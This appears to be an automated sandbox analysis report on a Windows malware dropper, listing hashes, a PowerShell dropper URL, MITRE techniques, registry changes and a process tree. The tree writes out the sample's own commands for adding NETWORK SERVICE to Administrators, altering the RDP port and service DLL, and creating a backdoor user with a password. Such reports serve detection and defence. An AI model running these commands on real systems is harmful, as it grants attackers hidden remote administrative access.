02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9

Analysis

max time kernel
133s
max time network
165s
platform
windows10_x64
resource
win10v20210408
submitted
24-08-2021 05:19

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General

Target

1aa9dda1b9b413444b0668500611c7f3.exe
Size

7.2MB
MD5

1aa9dda1b9b413444b0668500611c7f3
SHA1

d980ac83bf107df1a7510ad94304a7e364d927a5
SHA256

02031c62d916cdd41d26a271e93ec5b06eabfa910187207b02ead07fd480c2a9
SHA512

37a301fd61c42c10f774950826469f215a20a24d783316febfeafd0fa06d88f536daa4d5d10153fd1ec42cc778d87716fe5b4bb9782c03e86a4e3b336e9efd53

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	1176	powershell.exe
19	1176	powershell.exe
20	1176	powershell.exe
21	1176	powershell.exe
23	1176	powershell.exe
25	1176	powershell.exe
27	1176	powershell.exe
29	1176	powershell.exe
31	1176	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2076	Uso.exe.com
3940	Uso.exe.com
1840	Uso.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab2e-367.dat	upx
behavioral2/files/0x000700000001ab2f-368.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
2920	Process not Found
2920	Process not Found

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3940 set thread context of 1840	3940	Uso.exe.com	86

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8AF7.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8B67.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8B18.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8A98.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_zqdv43pd.al1.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI8B08.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_lprmbcq1.bu2.ps1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\DisplayName = "Local intranet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
192	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2188	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	23	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2068	powershell.exe
2068	powershell.exe
2068	powershell.exe
3236	powershell.exe
3236	powershell.exe
3236	powershell.exe
1916	powershell.exe
1916	powershell.exe
1916	powershell.exe
3680	powershell.exe
3680	powershell.exe
3680	powershell.exe
2068	powershell.exe
2068	powershell.exe
2068	powershell.exe
1176	powershell.exe
1176	powershell.exe
1176	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	Uso.exe.com
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeIncreaseQuotaPrivilege	3236	powershell.exe
Token: SeSecurityPrivilege	3236	powershell.exe
Token: SeTakeOwnershipPrivilege	3236	powershell.exe
Token: SeLoadDriverPrivilege	3236	powershell.exe
Token: SeSystemProfilePrivilege	3236	powershell.exe
Token: SeSystemtimePrivilege	3236	powershell.exe
Token: SeProfSingleProcessPrivilege	3236	powershell.exe
Token: SeIncBasePriorityPrivilege	3236	powershell.exe
Token: SeCreatePagefilePrivilege	3236	powershell.exe
Token: SeBackupPrivilege	3236	powershell.exe
Token: SeRestorePrivilege	3236	powershell.exe
Token: SeShutdownPrivilege	3236	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeSystemEnvironmentPrivilege	3236	powershell.exe
Token: SeRemoteShutdownPrivilege	3236	powershell.exe
Token: SeUndockPrivilege	3236	powershell.exe
Token: SeManageVolumePrivilege	3236	powershell.exe
Token: 33	3236	powershell.exe
Token: 34	3236	powershell.exe
Token: 35	3236	powershell.exe
Token: 36	3236	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeIncreaseQuotaPrivilege	1916	powershell.exe
Token: SeSecurityPrivilege	1916	powershell.exe
Token: SeTakeOwnershipPrivilege	1916	powershell.exe
Token: SeLoadDriverPrivilege	1916	powershell.exe
Token: SeSystemProfilePrivilege	1916	powershell.exe
Token: SeSystemtimePrivilege	1916	powershell.exe
Token: SeProfSingleProcessPrivilege	1916	powershell.exe
Token: SeIncBasePriorityPrivilege	1916	powershell.exe
Token: SeCreatePagefilePrivilege	1916	powershell.exe
Token: SeBackupPrivilege	1916	powershell.exe
Token: SeRestorePrivilege	1916	powershell.exe
Token: SeShutdownPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeSystemEnvironmentPrivilege	1916	powershell.exe
Token: SeRemoteShutdownPrivilege	1916	powershell.exe
Token: SeUndockPrivilege	1916	powershell.exe
Token: SeManageVolumePrivilege	1916	powershell.exe
Token: 33	1916	powershell.exe
Token: 34	1916	powershell.exe
Token: 35	1916	powershell.exe
Token: 36	1916	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeIncreaseQuotaPrivilege	3680	powershell.exe
Token: SeSecurityPrivilege	3680	powershell.exe
Token: SeTakeOwnershipPrivilege	3680	powershell.exe
Token: SeLoadDriverPrivilege	3680	powershell.exe
Token: SeSystemProfilePrivilege	3680	powershell.exe
Token: SeSystemtimePrivilege	3680	powershell.exe
Token: SeProfSingleProcessPrivilege	3680	powershell.exe
Token: SeIncBasePriorityPrivilege	3680	powershell.exe
Token: SeCreatePagefilePrivilege	3680	powershell.exe
Token: SeBackupPrivilege	3680	powershell.exe
Token: SeRestorePrivilege	3680	powershell.exe
Token: SeShutdownPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeSystemEnvironmentPrivilege	3680	powershell.exe
Token: SeRemoteShutdownPrivilege	3680	powershell.exe
Token: SeUndockPrivilege	3680	powershell.exe
Token: SeManageVolumePrivilege	3680	powershell.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2076	Uso.exe.com
2076	Uso.exe.com
2076	Uso.exe.com
3940	Uso.exe.com
3940	Uso.exe.com
3940	Uso.exe.com

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2076	Uso.exe.com
2076	Uso.exe.com
2076	Uso.exe.com
3940	Uso.exe.com
3940	Uso.exe.com
3940	Uso.exe.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 584 wrote to memory of 1088	584	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 584 wrote to memory of 1088	584	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 584 wrote to memory of 1088	584	1aa9dda1b9b413444b0668500611c7f3.exe	77
PID 584 wrote to memory of 504	584	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 584 wrote to memory of 504	584	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 584 wrote to memory of 504	584	1aa9dda1b9b413444b0668500611c7f3.exe	78
PID 504 wrote to memory of 3168	504	cmd.exe	80
PID 504 wrote to memory of 3168	504	cmd.exe	80
PID 504 wrote to memory of 3168	504	cmd.exe	80
PID 3168 wrote to memory of 2080	3168	cmd.exe	82
PID 3168 wrote to memory of 2080	3168	cmd.exe	82
PID 3168 wrote to memory of 2080	3168	cmd.exe	82
PID 3168 wrote to memory of 2076	3168	cmd.exe	83
PID 3168 wrote to memory of 2076	3168	cmd.exe	83
PID 3168 wrote to memory of 2188	3168	cmd.exe	84
PID 3168 wrote to memory of 2188	3168	cmd.exe	84
PID 3168 wrote to memory of 2188	3168	cmd.exe	84
PID 2076 wrote to memory of 3940	2076	Uso.exe.com	85
PID 2076 wrote to memory of 3940	2076	Uso.exe.com	85
PID 3940 wrote to memory of 1840	3940	Uso.exe.com	86
PID 3940 wrote to memory of 1840	3940	Uso.exe.com	86
PID 3940 wrote to memory of 1840	3940	Uso.exe.com	86
PID 3940 wrote to memory of 1840	3940	Uso.exe.com	86
PID 1840 wrote to memory of 2068	1840	Uso.exe.com	88
PID 1840 wrote to memory of 2068	1840	Uso.exe.com	88
PID 2068 wrote to memory of 3976	2068	powershell.exe	90
PID 2068 wrote to memory of 3976	2068	powershell.exe	90
PID 3976 wrote to memory of 2132	3976	csc.exe	91
PID 3976 wrote to memory of 2132	3976	csc.exe	91
PID 2068 wrote to memory of 3236	2068	powershell.exe	92
PID 2068 wrote to memory of 3236	2068	powershell.exe	92
PID 2068 wrote to memory of 1916	2068	powershell.exe	95
PID 2068 wrote to memory of 1916	2068	powershell.exe	95
PID 2068 wrote to memory of 3680	2068	powershell.exe	97
PID 2068 wrote to memory of 3680	2068	powershell.exe	97
PID 2068 wrote to memory of 4060	2068	powershell.exe	99
PID 2068 wrote to memory of 4060	2068	powershell.exe	99
PID 2068 wrote to memory of 192	2068	powershell.exe	100
PID 2068 wrote to memory of 192	2068	powershell.exe	100
PID 2068 wrote to memory of 212	2068	powershell.exe	101
PID 2068 wrote to memory of 212	2068	powershell.exe	101
PID 2068 wrote to memory of 1248	2068	powershell.exe	102
PID 2068 wrote to memory of 1248	2068	powershell.exe	102
PID 1248 wrote to memory of 3916	1248	net.exe	103
PID 1248 wrote to memory of 3916	1248	net.exe	103
PID 2068 wrote to memory of 2560	2068	powershell.exe	104
PID 2068 wrote to memory of 2560	2068	powershell.exe	104
PID 2560 wrote to memory of 3140	2560	cmd.exe	105
PID 2560 wrote to memory of 3140	2560	cmd.exe	105
PID 3140 wrote to memory of 3948	3140	cmd.exe	106
PID 3140 wrote to memory of 3948	3140	cmd.exe	106
PID 3948 wrote to memory of 1648	3948	net.exe	107
PID 3948 wrote to memory of 1648	3948	net.exe	107
PID 2068 wrote to memory of 1116	2068	powershell.exe	108
PID 2068 wrote to memory of 1116	2068	powershell.exe	108
PID 1116 wrote to memory of 3476	1116	cmd.exe	109
PID 1116 wrote to memory of 3476	1116	cmd.exe	109
PID 3476 wrote to memory of 3864	3476	cmd.exe	110
PID 3476 wrote to memory of 3864	3476	cmd.exe	110
PID 3864 wrote to memory of 2108	3864	net.exe	111
PID 3864 wrote to memory of 2108	3864	net.exe	111
PID 3960 wrote to memory of 2880	3960	cmd.exe	115
PID 3960 wrote to memory of 2880	3960	cmd.exe	115
PID 2880 wrote to memory of 2096	2880	net.exe	116

C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe
"C:\Users\Admin\AppData\Local\Temp\1aa9dda1b9b413444b0668500611c7f3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:584
- C:\Windows\SysWOW64\dllhost.exe
  "C:\Windows\System32\dllhost.exe"
  2⤵
  PID:1088
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Bianchezza.xltx
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:504
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^neXfkAonzMgXVmZcOdbhYtXinpUsiRQPwpGkvuIPGbsmTRiWdNhKCZQztQQwGRdBWnVLTOZIHIGBMnhHwYqzEyjezjuGfHoPuPCcVveCOErUagHFCoZIRXXQkTsHHzzqmRcWVSM$" Veda.xltx
      4⤵
      PID:2080
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
      Uso.exe.com B
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:2076
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com B
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:3940
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Uso.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2068
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1f1xzxvc\1f1xzxvc.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3976
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF3D7.tmp" "c:\Users\Admin\AppData\Local\Temp\1f1xzxvc\CSCC01F7819505B4CD38E2EBF3B2323F1.TMP"
        9⤵
        
        PID:2132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1916
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:4060
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:192
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:212
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1248
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:3916
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2560
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3140
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:1648
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1116
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:3864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:2108
  - - C:\Windows\SysWOW64\PING.EXE
      ping GFBFPSXA -n 30
      4⤵
      Runs ping.exe
      PID:2188

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:2096

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc n6UvtOVP /add
1⤵
PID:2764
- C:\Windows\system32\net.exe
